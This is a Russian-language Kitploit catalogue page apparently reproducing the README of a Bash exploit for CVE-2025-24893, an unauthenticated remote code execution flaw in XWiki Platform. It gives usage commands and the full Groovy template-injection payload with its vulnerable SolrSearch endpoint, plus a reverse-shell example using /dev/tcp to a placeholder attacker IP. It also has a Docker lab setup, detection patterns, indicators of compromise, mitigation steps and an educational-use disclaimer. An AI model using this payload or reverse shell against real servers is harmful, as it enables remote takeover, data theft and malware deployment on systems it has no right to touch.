Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
XWiki-Platform-RCE-CVE-2025-24893 — Bash-эксплойт для CVE-2025-24893, неаутентифицированное RCE в XWiki Platform, использующий инъекцию шаблона в макросе SolrSearch для выполнения произвольных системных команд. | Kitploit
Инструменты/GitHubGitHub/0xdtc/xwiki-platform-rce-cve-2025-24893
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHub0xdtc/xwiki-platform-rce-cve-2025-24893

XWiki-Platform-RCE-CVE-2025-24893

Bash-эксплойт для CVE-2025-24893, неаутентифицированное RCE в XWiki Platform, использующий инъекцию шаблона в макросе SolrSearch для выполнения произвольных системных команд.

Репозиторий
359 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт неаутентифицированного RCE в XWiki Platform

Обзор

Этот скрипт представляет собой переработанную реализацию на Bash эксплойта, нацеленного на версии XWiki Platform, затронутые CVE-2025-24893. Он использует критическую уязвимость удалённого выполнения кода без аутентификации, которая позволяет злоумышленникам выполнять произвольный код Groovy через дефект внедрения шаблонов в макросе SolrSearch.

Исходные реализации эксплойта на Python были созданы различными исследователями безопасности и адаптированы здесь для пользователей Bash с упрощённым выполнением и улучшенной юзабилити.

Детали уязвимости

  • Первооткрыватель: John Kwak (Trend Micro's Zero Day Initiative)
  • CVE: CVE-2025-24893
  • Оценка CVSS: 9.8 (Критическая)
  • Ссылки:
    • Официальное уведомление XWiki (GHSA-rr6p-3pfg-562j)
    • Каталог известных эксплуатируемых уязвимостей CISA
    • VulnCheck — XWiki CVE-2025-24893 эксплуатируется в дикой природе
  • Блог OffSec — Неаутентифицированный RCE в XWiki
  • Описание: Уязвимость возникает из-за неправильной санитизации ввода в макросе SolrSearch в XWiki Platform. Макрос не проверяет и не очищает должным образом вводимые пользователем данные в параметре text при доступе через конечную точку RSS, что позволяет злоумышленникам внедрять вредоносный код Groovy в конвейер рендеринга без аутентификации.

    • Затронутые и исправленные версии

    Затронутые версии

    • XWiki Platform: с 5.3-milestone-2 по 15.10.10
    • XWiki Platform: с 16.0.0-rc-1 по 16.4.0

    Исправленные версии

    • XWiki 15.10.11 или новее
    • XWiki 16.4.1 или новее
    • XWiki 16.5.0RC1 или новее

    Возможности

    • Неаутентифицированный RCE: Выполнение произвольных системных команд без аутентификации.
    • Обход CSRF-токенов: Использует внедрение шаблонов без необходимости в CSRF-токенах.
    • Фоновое выполнение: Команды выполняются асинхронно на целевом сервере.
    • Простой интерфейс командной строки: Лёгкий в использовании Bash-скрипт с минимальными зависимостями.

    Предварительные требования

    • Зависимости:
      • curl: для отправки HTTP-запросов.
      • jq: для URL-кодирования полезной нагрузки.
      • Bash-оболочка.
    • Протестированная среда: ОС Linux с Bash.

    Использование

    Выдайте права на выполнение:

    root@kitploit:~
    chmod +x CVE-2025-24893

    Запустите скрипт с необходимыми аргументами:

    root@kitploit:~
    ./CVE-2025-24893 <target_url> <command>

    Параметры

    ПараметрОписание
    <target_url>Целевой URL XWiki (например, http://example.com или https://xwiki.example.org). Протокол необязателен.
    <command>Системная команда для выполнения на целевом сервере.

    Пример

    Проверка уязвимости цели (выполнить команду id):

    root@kitploit:~
    ./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"

    Получить информацию о системе:

    root@kitploit:~
    ./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"

    Создать тестовый файл:

    root@kitploit:~
    ./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"

    Реверс-шелл (замените на ваш IP и порт):

    root@kitploit:~
    ./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"

    Работа скрипта

    1. Разбор аргументов командной строки:

      • Проверяет, что указаны и целевой URL, и команда.
      • Нормализует URL, добавляя http://, если протокол не указан.

    2. Сборка полезной нагрузки:

      • Создаёт полезную нагрузку на Groovy, которая выполняет указанную команду с помощью .execute().
      • Оборачивает нагрузку в синтаксис макроса XWiki: }}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}

    3. URL-кодирование:

      • Кодирует нагрузку с помощью jq для корректной HTTP-передачи.

    4. Эксплуатация:

      • Отправляет HTTP GET-запрос на уязвимую конечную точку SolrSearch: /xwiki/bin/get/Main/SolrSearch?media=rss&text=<закодированная_нагрузка>
      • Команда выполняется в фоне на целевом сервере.

    Технические детали

    Механизм эксплуатации

    Цепочка эксплойта работает следующим образом:

    1. Внедрение шаблонов: Злоумышленник создаёт вредоносную нагрузку, содержащую код Groovy, обёрнутый в синтаксис макроса XWiki.
    2. Нацеливание на конечную точку: Нагрузка отправляется на уязвимую конечную точку SolrSearch RSS.
    3. Выполнение кода: Внедрённый код Groovy выполняется на стороне сервера без аутентификации.
    4. Компрометация системы: Злоумышленник получает возможность произвольного выполнения кода с привилегиями приложения XWiki.

    Структура полезной нагрузки

    root@kitploit:~
    }}}{{async async=false}}{{groovy}}'<command>'.execute();{{/groovy}}{{/async}}
    • }}} — Закрывает любой существующий контекст макроса
    • {{async async=false}} — Обеспечивает синхронное выполнение
    • {{groovy}}...{{/groovy}} — Оборачивает вредоносный код Groovy
    • '<command>'.execute(); — Выполняет указанную системную команду

    Подтверждение концепции

    Настройка уязвимого окружения

    Для тестирования можно развернуть уязвимый экземпляр XWiki с помощью Docker:

    root@kitploit:~
    docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10

    Демонстрация эксплуатации

    root@kitploit:~
    # Дождитесь запуска XWiki (может занять 1–2 минуты)
./CVE-2025-24893 http://localhost:8080 "whoami"

    Влияние

    Успешная эксплуатация этой уязвимости позволяет неаутентифицированному злоумышленнику:

    • Выполнять произвольные системные команды на сервере
    • Читать, изменять или удалять конфиденциальные данные
    • Скомпрометировать всю установку XWiki
    • Перемещаться к другим системам в сети
    • Развёртывать майнеры криптовалют или другое вредоносное ПО
    • Устанавливать постоянный бэкдор-доступ

    Эксплуатация в реальном мире

    По данным CISA и многих поставщиков безопасности:

    • Активная эксплуатация: CVE-2025-24893 активно эксплуатируется в дикой природе
    • Атаки: VulnCheck обнаружил двухэтапные цепочки атак с развёртыванием майнеров криптовалют
    • Каталог CISA KEV: Добавлена в каталог известных эксплуатируемых уязвимостей 30 октября 2025 года
    • Массовое сканирование: Широкомасштабное сканирование интернета в поисках уязвимых экземпляров

    Обнаружение и смягчение

    Обнаружение

    Отслеживайте подозрительные запросы к конечной точке SolrSearch:

    root@kitploit:~
    GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*

    Ищите шаблоны, содержащие:

    • {{groovy}}
    • {{async}}
    • .execute()
    • URL-кодированные варианты перечисленного

    Индикаторы компрометации (IoC)

    • Неожиданные процессы, запущенные пользователем приложения XWiki
    • Новые файлы в /tmp или других каталогах, доступных для записи
    • Исходящие сетевые соединения с неизвестными IP-адресами
    • Процессы майнинга криптовалют (высокая загрузка CPU)

    Смягчение

    1. Обновите XWiki до исправленной версии:

      • Версия 15.10.11 или новее
      • Версия 16.4.1 или новее
      • Версия 16.5.0RC1 или новее

    2. Примените временные обходные меры (если немедленное обновление невозможно):

      • Ограничьте доступ к конечной точке SolrSearch с помощью межсетевого экрана веб-приложений (WAF)
      • Отключите макрос SolrSearch, если он не требуется
      • Внедрите сегментацию сети для ограничения воздействия

    3. Мониторинг на предмет компрометации:

      • Просматривайте журналы на предмет попыток эксплуатации
      • Проверяйте наличие несанкционированных изменений файлов
      • Сканируйте на предмет майнеров криптовалют и бэкдоров

    Ограничения

    • Команды выполняются в фоне; вывод может быть недоступен немедленно.
    • Для проверки выполнения команд требуются методы по побочным каналам (например, создание файлов, сетевые соединения).
    • Требуется, чтобы на цели был включён макрос SolrSearch (конфигурация по умолчанию).

    Благодарности

    • Первооткрыватель уязвимости: John Kwak (Trend Micro's Zero Day Initiative)
    • Авторы оригинального эксплойта на Python: Различные исследователи безопасности
    • Адаптированный скрипт: Переработан [0xdtc] на BASH

    Отказ от ответственности

    Этот скрипт предназначен исключительно для образовательных целей. Несанкционированное использование этого инструмента против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения, является незаконным и неэтичным. Используйте ответственно.

    Вы должны иметь явное письменное разрешение от владельца системы перед тестированием.

    Автор(ы) этого инструмента не несут ответственности за любое неправомерное использование или ущерб, причинённый этим скриптом. Пользователи несут единоличную ответственность за обеспечение наличия надлежащих разрешений и соблюдение всех применимых законов и нормативных актов.

    Скачать инструмент